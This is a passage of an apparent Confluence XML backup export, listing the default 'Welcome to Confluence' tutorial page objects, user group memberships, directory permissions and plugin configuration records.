</property>
<property name="position">2</property>
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98316</id>
<property name="hibernateVersion">16</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262173</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.071</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98315</id>
<property name="hibernateVersion">5</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262159</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.074</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98322</id>
<property name="hibernateVersion">53</property>
<property name="title"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
<property name="lowerTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163849</id>
</element>
</collection>
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196650</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196651</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196652</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196653</id>
</element>
</collection>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262166</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262182</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:52.078</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98339</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98355</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98356</id>
</element>
</collection>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position">1</property>
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98321</id>
<property name="hibernateVersion">38</property>
<property name="title"><![CDATA[Lay out your page (step 6 of 9)]]></property>
<property name="lowerTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163848</id>
</element>
</collection>
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196628</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196633</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196634</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196635</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196636</id>
</element>
</collection>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262153</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262156</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.083</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98340</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98348</id>
</element>
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98353</id>
</element>
</collection>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position">5</property>
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98320</id>
<property name="hibernateVersion">24</property>
<property name="title"><![CDATA[What is Confluence? (step 1 of 9)]]></property>
<property name="lowerTitle"><![CDATA[what is confluence? (step 1 of 9)]]></property>
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163843</id>
</element>
</collection>
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196621</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196625</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196630</id>
</element>
</collection>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262155</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.086</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position">0</property>
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98319</id>
<property name="hibernateVersion">30</property>
<property name="title"><![CDATA[Welcome to Confluence]]></property>
<property name="lowerTitle"><![CDATA[welcome to confluence]]></property>
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163842</id>
</element>
</collection>
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196624</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196637</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196638</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196640</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196641</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196645</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196646</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196647</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196648</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196649</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.089</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98338</id>
</element>
</collection>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position">8</property>
<collection name="children" class="java.util.Collection"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
</element>
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
</element>
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
</element>
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
</element>
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
</element>
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
</element>
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
</element>
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
</element>
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98326</id>
<property name="hibernateVersion">13</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262194</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.093</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98325</id>
<property name="hibernateVersion">10</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262181</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.096</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98324</id>
<property name="hibernateVersion">10</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262179</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.100</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98323</id>
<property name="hibernateVersion">7</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262157</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262158</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:52.104</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="SpaceDescription" package="com.atlassian.confluence.spaces">
<id name="id">98357</id>
<property name="hibernateVersion">17</property>
<property name="title"/><property name="lowerTitle"/><collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163851</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-04-14 11:55:11.912</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="HibernateMembership" package="com.atlassian.crowd.embedded.hibernate2">
<id name="id">589826</id>
<property name="parentGroup" class="InternalGroup" package="com.atlassian.crowd.model.group"><id name="id">425985</id>
</property>
<property name="userMember" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
</property>
</object>
<object class="HibernateMembership" package="com.atlassian.crowd.embedded.hibernate2">
<id name="id">589825</id>
<property name="parentGroup" class="InternalGroup" package="com.atlassian.crowd.model.group"><id name="id">425986</id>
</property>
<property name="userMember" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
</property>
</object>
<object class="GlobalDescription" package="com.atlassian.confluence.setup.settings">
<id name="id">98359</id>
<property name="hibernateVersion">1</property>
<property name="title"/><property name="lowerTitle"/><property name="version">1</property>
<property name="creationDate">2023-11-09 06:04:19.475</property>
<property name="lastModificationDate">2023-11-09 06:04:19.475</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
</object>
<object class="PersonalInformation" package="com.atlassian.confluence.user">
<id name="id">98358</id>
<property name="hibernateVersion">1</property>
<property name="title"/><property name="lowerTitle"/><property name="version">1</property>
<property name="creationDate">2023-11-09 06:04:18.930</property>
<property name="lastModificationDate">2023-11-09 06:04:18.930</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="user" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
</object>
<object class="InternalGroup" package="com.atlassian.crowd.model.group">
<id name="id">425986</id>
<property name="name"><![CDATA[confluence-users]]></property>
<property name="lowerName"><![CDATA[confluence-users]]></property>
<property name="active">true</property>
<property name="local">false</property>
<property name="createdDate">2023-11-09 06:04:18.320</property>
<property name="updatedDate">2023-11-09 06:04:18.320</property>
<property name="description"/><property name="type" enum-class="GroupType" package="com.atlassian.crowd.model.group">GROUP</property>
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
</property>
<property name="externalId"/></object>
<object class="InternalGroup" package="com.atlassian.crowd.model.group">
<id name="id">425985</id>
<property name="name"><![CDATA[confluence-administrators]]></property>
<property name="lowerName"><![CDATA[confluence-administrators]]></property>
<property name="active">true</property>
<property name="local">false</property>
<property name="createdDate">2023-11-09 06:04:18.284</property>
<property name="updatedDate">2023-11-09 06:04:18.284</property>
<property name="description"/><property name="type" enum-class="GroupType" package="com.atlassian.crowd.model.group">GROUP</property>
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
</property>
<property name="externalId"/></object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32802</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[confluence.extra.masterdetail:build]]></property>
<property name="value"><![CDATA[<string>2</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32803</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-inline-comments:build]]></property>
<property name="value"><![CDATA[<string>1</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32800</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.plugins.atlassian-nav-links-plugin:build]]></property>
<property name="value"><![CDATA[<string>1</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32801</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-inline-tasks:build]]></property>
<property name="value"><![CDATA[<string>3</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32798</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.plugins.atlassian-whitelist-core-plugin:build]]></property>
<property name="value"><![CDATA[<string>3</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32799</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.plugins.custom_apps.hasCustomOrder]]></property>
<property name="value"><![CDATA[<string>false</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32796</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-edge-index:build]]></property>
<property name="value"><![CDATA[<string>1</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32797</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.crowd.embedded.admin:build]]></property>
<property name="value"><![CDATA[<string>3</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32794</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.audit.plugin:audit-config:retention:period]]></property>
<property name="value"><![CDATA[<string>P3Y</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32795</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.confluence.extra.team-calendars:build]]></property>
<property name="value"><![CDATA[<string>1312121002</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32792</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.migration.agent:mp-status]]></property>
<property name="value"><![CDATA[<string>{&quot;pluginVersionLastChecked&quot;:&quot;3.4.6&quot;,&quot;outdated&quot;:true,&quot;upgradeBy&quot;:null,&quot;timestamp&quot;:1699509836998}</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32793</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.audit.atlassian-audit-plugin:build]]></property>
<property name="value"><![CDATA[<string>2</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32790</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[atlassian.confluence.plugin.counter]]></property>
<property name="value"><![CDATA[<int>3</int>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32791</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[reindex.status]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.index.status.ReIndexJob>
<id>a051f6a2-cf76-4d3d-999d-ccfffe5e65d3</id>
<startTime>2023-11-09T06:03:55.369232Z</startTime>
<finishTime>2023-11-09T06:03:59.229997Z</finishTime>
<stage>COMPLETE</stage>
<acknowledged>false</acknowledged>
<rebuildingProgress>
<total>54</total>
<processed>54</processed>
</rebuildingProgress>
<lastRebuildingUpdate>2023-11-09T06:03:58.418741Z</lastRebuildingUpdate>
<nodeStatuses class="list"/>
</com.atlassian.confluence.index.status.ReIndexJob>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32788</id>
<property name="context"><![CDATA[ds]]></property>
<property name="key"><![CDATA[atlassian.confluence.colour.scheme]]></property>
<property name="value"><![CDATA[<colourScheme>
<colours>
<entry>
<string>property.style.topbarmenuselectedbgcolour</string>
<string>#336699</string>
</entry>
<entry>
<string>property.style.menuselectedbgcolour</string>
<string>#6699cc</string>
</entry>
<entry>
<string>property.style.navtextcolour</string>
<string>#ffffff</string>
</entry>
<entry>
<string>property.style.bordercolour</string>
<string>#6699cc</string>
</entry>
<entry>
<string>property.style.navselectedtextcolour</string>
<string>#ffffff</string>
</entry>
<entry>
<string>property.style.breadcrumbstextcolour</string>
<string>#ffffff</string>
</entry>
<entry>
<string>property.style.topbarcolour</string>
<string>#003366</string>
</entry>
<entry>
<string>property.style.navselectedbgcolour</string>
<string>#003366</string>
</entry>
<entry>
<string>property.style.linkcolour</string>
<string>#326ca6</string>
</entry>
<entry>
<string>property.style.navbgcolour</string>
<string>#6699cc</string>
</entry>
<entry>
<string>property.style.menuitemselectedtextcolour</string>
<string>#ffffff</string>
</entry>
<entry>
<string>property.style.menuitemselectedbgcolour</string>
<string>#6699cc</string>
</entry>
<entry>
<string>property.style.headingtextcolour</string>
<string>#000000</string>
</entry>
<entry>
<string>property.style.spacenamecolour</string>
<string>#999999</string>
</entry>
<entry>
<string>property.style.menuitemtextcolour</string>
<string>#535353</string>
</entry>
<entry>
<string>property.style.topbarmenuitemtextcolour</string>
<string>#326ca6</string>
</entry>
</colours>
</colourScheme>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32789</id>
<property name="context"><![CDATA[ds]]></property>
<property name="key"><![CDATA[trash.date.migration.time]]></property>
<property name="value"><![CDATA[<instant>2023-11-09T06:03:52.619272Z</instant>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32818</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.troubleshooting.thready.configuration.enabled]]></property>
<property name="value"><![CDATA[<string>true</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32819</id>
<property name="context"><![CDATA[_CALENDAR_ee65026d81383713d11480a2da8ced1608ea1448]]></property>
<property name="key"><![CDATA[legacySubCalendarsMigrationCutoffDate]]></property>
<property name="value"><![CDATA[<long>1699509861003</long>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32816</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration..policy_acknowledged]]></property>
<property name="value"><![CDATA[<string>true</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32817</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.upm.log.PluginSettingsAuditLogService:log:upm_audit_log_v3]]></property>
<property name="value"><![CDATA[<list>
<string>{&quot;userKey&quot;:&quot;Confluence&quot;,&quot;date&quot;:1699509860734,&quot;i18nKey&quot;:&quot;upm.auditLog.upm.startup&quot;,&quot;entryType&quot;:&quot;UPM_STARTUP&quot;,&quot;params&quot;:[]}</string>
</list>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32814</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration.uuid]]></property>
<property name="value"><![CDATA[<string>102be6f5-2e40-4d37-bd5e-e52aef8f80fb</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32815</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration.serverid]]></property>
<property name="value"><![CDATA[<string>BNRR-EUMS-GPB5-FJVB</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32812</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-create-content-plugin:build]]></property>
<property name="value"><![CDATA[<string>5</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32813</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[gadget.counter]]></property>
<property name="value"><![CDATA[<int>2</int>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32810</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.plugins.authentication.sso.config.sso-type]]></property>
<property name="value"><![CDATA[<string>NONE</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32811</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.plugins.authentication.sso.config.show-login-form]]></property>
<property name="value"><![CDATA[<string>true</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32808</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.upm.atlassian-universal-plugin-manager-plugin:build]]></property>
<property name="value"><![CDATA[<string>5</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32809</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.plugins.authentication.atlassian-authentication-plugin:build]]></property>
<property name="value"><![CDATA[<string>6</string>]]></property>
</object>
<object class="DirectoryMapping" package="com.atlassian.crowd.model.application">
<id name="id">393217</id>
<property name="application" class="ApplicationImpl" package="com.atlassian.crowd.model.application"><id name="id">327681</id>
</property>
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
</property>
<property name="allowAllToAuthenticate">true</property>
<collection name="allowedOperations" class="java.util.Set"><element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_GROUP_ATTRIBUTE</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_ROLE</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_USER</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_ROLE_ATTRIBUTE</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_USER</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_USER_ATTRIBUTE</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_GROUP</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_USER</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_ROLE</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_GROUP</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_GROUP</element>
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_ROLE</element>
</collection>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32806</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-collaborative-editor-plugin:build]]></property>
<property name="value"><![CDATA[<string>1</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32807</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-roadmap-plugin:build]]></property>
<property name="value"><![CDATA[<string>6</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32804</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-space-ia:build]]></property>
<property name="value"><![CDATA[<string>1</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32805</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[synchrony_collaborative_editor_app_registered]]></property>
<property name="value"><![CDATA[<string>true</string>]]></property>
</object>
